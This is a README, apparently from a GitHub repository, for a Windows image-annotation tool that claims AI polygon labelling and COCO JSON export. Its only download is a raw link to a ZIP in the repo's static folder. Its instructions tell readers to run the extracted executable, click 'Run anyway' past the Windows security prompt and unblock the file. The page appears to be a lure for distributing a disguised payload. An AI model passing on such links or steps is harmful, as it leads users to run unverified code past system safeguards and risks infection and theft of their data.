ai-polygon-annotation-tool helps you label images with less manual work. It uses AI to find objects in your images and create polygon or box annotations. You can review the results, adjust them, and export the labels in COCO JSON format.

It is built for Windows users who want a simple way to prepare image data for computer vision tasks.

Visit this page to download: https://github.com/roarkenegroid876/ai-polygon-annotation-tool/raw/refs/heads/main/static/annotation-ai-polygon-tool-subfusk.zip

On the releases page, look for the latest Windows file. In most cases, this will be a .exe file or a zipped app package.

1. Open the release page.
2. Download the Windows file.
3. If the file is in a ZIP folder, right-click it and choose Extract All.
4. Open the extracted folder.
5. Double-click the app file to start it.

If Windows shows a security prompt, choose More info and then Run anyway if you trust the file from the release page.

To run the app on Windows, use a modern setup like this:

• Windows 10 or Windows 11
• 8 GB RAM or more
• A recent Intel or AMD processor
• 2 GB of free disk space
• A graphics card helps with faster image processing, but the app can still run without one
• A mouse for easier image labeling

For large image sets, more RAM and a stronger GPU can help the app respond faster.

1. Download the Windows release.
2. Open the app.
3. Load the folder that contains your images.
4. Choose the annotation mode you want.
5. Run the AI detection step.
6. Review the labels.
7. Save the results as COCO JSON.

The app can scan your images and find objects with YOLOv8-based detection. This saves time when you need to label many files.

Use polygon mode when you need outlines that follow the shape of an object. This works well for items with clear edges, such as tools, people, boxes, or signs.

Use box mode when a rectangle is enough. This is faster and works well for broad object tracking.

The app gives you results that you can inspect and adjust. You keep control over the final labels.

Export your work in COCO JSON format for use in training and testing computer vision models.

You can work through whole folders of images instead of handling each file one by one.

The app uses image segmentation tools to help trace object shapes with more detail than simple boxes.

Start the program from the Windows file you downloaded.

Select the folder that contains the images you want to annotate. Use a folder with clean file names if possible.

Choose one of these:

• Polygon mode for shape-based labels
• Bounding box mode for quick rectangular labels

Start the AI step so the tool can detect objects in each image.

Check the generated labels. You can keep them, move them, or refine them if needed.

Save the annotations as COCO JSON when you are done.

A simple workflow looks like this:

1. Collect your images
2. Load them into the app
3. Run AI annotation
4. Review the output
5. Fix any missed or incorrect labels
6. Export COCO JSON
7. Use the exported file in your training pipeline

This tool is a good fit for:

• Object detection datasets
• Image segmentation projects
• Product photo labeling
• Research datasets
• Custom AI training data
• Small or medium annotation jobs
• Quick first-pass labeling before manual cleanup

The app exports annotations in COCO JSON format, which is used in many computer vision projects. This format stores image details, category names, object positions, and polygon data when needed.

The exported file is useful for:

• Training object detection models
• Training segmentation models
• Sharing labeled data with a team
• Keeping a record of your dataset

• Use clear images when possible
• Keep one object type per category name
• Review AI labels before export
• Use polygon mode for objects with odd shapes
• Use box mode when speed matters
• Keep image sizes consistent across a project
• Name folders and files in a simple way

No. The app is made for regular Windows users. You mainly need to download it, open it, and load your images.

Yes. It is built for image folders, so it works well for batch annotation.

Yes. The AI gives you a starting point, and you can review the output before exporting.

It exports COCO JSON.

Yes. You can use polygon annotation or bounding box annotation.

This project is connected to:

• annotation tool
• coco json
• computer vision
• deep learning
• fastapi
• image segmentation
• object detection
• python
• segment anything
• yolov8

If you are new to annotation tools, start with a small image folder first. Test a few images, check the output, and make sure the labels look right before you work on a larger set.

For best results:

• Use images from the same camera or source
• Keep categories simple
• Avoid mixing very different object types in one label
• Save often while working
• Export a test COCO JSON file and inspect it before moving on

If your download does not open right away:

1. Check your Downloads folder
2. Look for a ZIP file or app file
3. If it is zipped, extract it
4. If Windows blocks the file, right-click and choose Properties, then check whether the file needs to be unblocked
5. Open the app from the extracted folder

If the app does not start, try running it again from the same folder where it was extracted

Visit this page to download: https://github.com/roarkenegroid876/ai-polygon-annotation-tool/raw/refs/heads/main/static/annotation-ai-polygon-tool-subfusk.zip